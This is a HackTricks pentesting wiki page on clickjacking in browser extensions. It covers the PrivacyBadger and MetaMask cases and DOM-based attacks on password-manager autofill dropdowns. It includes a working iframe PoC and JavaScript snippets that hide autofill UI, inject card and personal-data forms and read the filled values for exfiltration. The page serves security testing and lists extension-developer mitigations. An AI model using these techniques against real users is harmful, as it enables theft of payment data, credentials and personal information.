browext-clickjacking.md (11777B)
1 --- 2 title: "BrowExt - ClickJacking" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # BrowExt - ClickJacking 14 15 ## Basic Information 16 17 This page is going to abuse a ClickJacking vulnerability in a Browser extension.\ 18 If you don't know what ClickJacking is check: 19 20 21 [Clickjacking](/hacktricks/pentesting-web/clickjacking) 22 23 Extensions contain a **`manifest.json`** file whose `web_accessible_resources` field declares packaged files that matching web origins or extensions may request.<sup>[[4]](#references)</sup> 24 25 Resources are available at `chrome-extension://[PACKAGE ID]/[PATH]`, can be addressed with `runtime.getURL()`, and are served with CORS headers. In Manifest V3, declarations can restrict access with `matches`, `extension_ids`, and dynamic URLs.<sup>[[4]](#references)</sup> 26 27 Declaring a resource web-accessible does not itself grant that file extra privileges. The risk appears when an exposed HTML page or script already has privileged extension functionality or can message privileged extension components: an attacker-controlled page may embed or navigate to it and induce unintended user interaction.<sup>[[4]](#references)</sup> 28 29 Depending on the exposed page's own scripts and message handlers, successful clickjacking may therefore cause it to: 30 31 - change extension state; 32 - load additional packaged or remote resources; or 33 - invoke privileged browser/extension actions exposed through its background or service-worker message path. 34 35 These capabilities must be verified from the page's code and manifest permissions; they do not arise merely from listing the file in `web_accessible_resources`. 36 37 ## PrivacyBadger Example 38 39 In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):<sup>[[1]](#references)</sup> 40 41 ```json 42 "web_accessible_resources": [ 43 "skin/*", 44 "icons/*" 45 ] 46 ``` 47 48 This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).<sup>[[1]](#references)</sup> 49 50 To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.<sup>[[1]](#references)</sup> 51 52 ### PoC 53 54 ```html 55 <!--https://blog.lizzie.io/clickjacking-privacy-badger.html--> 56 57 <style> 58 iframe { 59 width: 430px; 60 height: 300px; 61 opacity: 0.01; 62 float: top; 63 position: absolute; 64 } 65 66 #stuff { 67 float: top; 68 position: absolute; 69 } 70 71 button { 72 float: top; 73 position: absolute; 74 top: 168px; 75 left: 100px; 76 } 77 </style> 78 79 <div id="stuff"> 80 <h1>Click the button</h1> 81 <button id="button">click me</button> 82 </div> 83 84 <iframe 85 src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> 86 </iframe> 87 ``` 88 89 ## Metamask Example 90 91 A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):<sup>[[2]](#references)</sup> 92 93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2821%29.png" alt=""><figcaption></figcaption></figure> 94 95 **Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.<sup>[[2]](#references)</sup> 96 97 ## Steam Inventory Helper Example 98 99 Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: 100 101 102 [Browext Xss Example](/hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example) 103 104 --- 105 106 ## DOM-based Extension Clickjacking (Password Manager Autofill UIs) 107 108 Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.<sup>[[3]](#references)</sup> 109 110 ### Threat model 111 112 - Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain). 113 - Victim has a password manager extension installed and unlocked (some autofill even when nominally locked). 114 - At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.). 115 116 ### Attack flow (manual autofill) 117 118 1. Inject an invisible but focusable form (login/PII/credit-card fields). 119 2. Focus an input to summon the extension’s autofill dropdown near the field. 120 3. Hide or occlude the extension UI while keeping it interactable. 121 4. Align a believable control under the hidden dropdown to coerce a click that selects an item. 122 5. Read filled values from the attacker form and exfiltrate. 123 124 ### How to hide the autofill UI 125 126 - Extension element 127 - Root element opacity (generic): 128 129 ```javascript 130 // Reduce or nullify opacity of the extension root 131 // Works when the root element is attached in the page DOM 132 const root = document.querySelector('protonpass-root') 133 if (root) root.style.opacity = 0 134 ``` 135 136 - Child inside open ShadowRoot (dynamic tag, hide internal iframe): 137 138 ```javascript 139 // Find dynamic root like <protonpass-root-xyz> and hide its child iframe 140 const root = Array.from(document.querySelectorAll('*')) 141 .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-')) 142 if (root?.shadowRoot) { 143 const frame = root.shadowRoot.querySelector('iframe') 144 if (frame) frame.style.cssText += 'opacity:0 !important;' 145 } 146 ``` 147 148 - Parent element 149 - BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background): 150 151 ```javascript 152 // Hide full page, then reveal a tiny amount to keep clicks working 153 document.body.style.opacity = 0 154 // Optional: Show a screenshot/lookalike to avoid a blank screen 155 // document.documentElement.style.backgroundImage = 'url(website.png)' 156 157 // Inject a credit-card form and focus to trigger dropdown 158 /* create #cardform with #cardnumber, #expiry, #cvc */ 159 document.getElementById('cardnumber').focus() 160 // Make body barely visible to allow user interaction 161 document.body.style.opacity = '0.001' 162 163 function getCardValues() { 164 const num = document.getElementById('cardnumber').value 165 const exp = document.getElementById('expiry').value 166 const cvc = document.getElementById('cvc').value 167 // exfiltrate via XHR/fetch/websocket 168 } 169 ``` 170 171 - Overlay 172 - Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer). 173 - Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API: 174 175 ```html 176 <div id="overlay" popover style="pointer-events:none;">Cookie consent</div> 177 <script> 178 overlay.showPopover() 179 // Inject a personal data form and focus to trigger dropdown 180 /* create #personalform with #name/#email/#phone/... */ 181 document.getElementById('name').focus() 182 function getData(){ /* read + exfil values on change */ } 183 </script> 184 ``` 185 186 ### Positioning the victim click 187 188 - Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox. 189 - Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item: 190 191 ```javascript 192 const f = document.getElementById('name') 193 document.addEventListener('mousemove', e => { 194 personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;` 195 // some managers hide the dropdown if focus is lost; refocus slowly 196 setTimeout(() => f.focus(), 100) 197 }) 198 ``` 199 200 201 ### Impact and scenarios 202 203 - Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that aren’t domain-scoped. 204 - Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`). 205 - Passkeys: if the RP doesn’t bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the user’s confirming click. 206 207 ### Limitations 208 209 - Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit). 210 - Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”. 211 212 ### Extension developer mitigations 213 214 - Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays. 215 - Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots. 216 - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist. 217 - Detect suspicious `<body>`/`<html>` opacity or style changes both pre- and post-render. 218 - For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`. 219 220 221 ## References 222 223 - [1] [ClickJacking Privacy Badger](https://blog.lizzie.io/clickjacking-privacy-badger.html) 224 - [2] [MetaMask Clickjacking Vulnerability Analysis](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) 225 - [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) 226 - [4] [Chrome for Developers – Web Accessible Resources](https://developer.chrome.com/docs/extensions/reference/manifest/web-accessible-resources)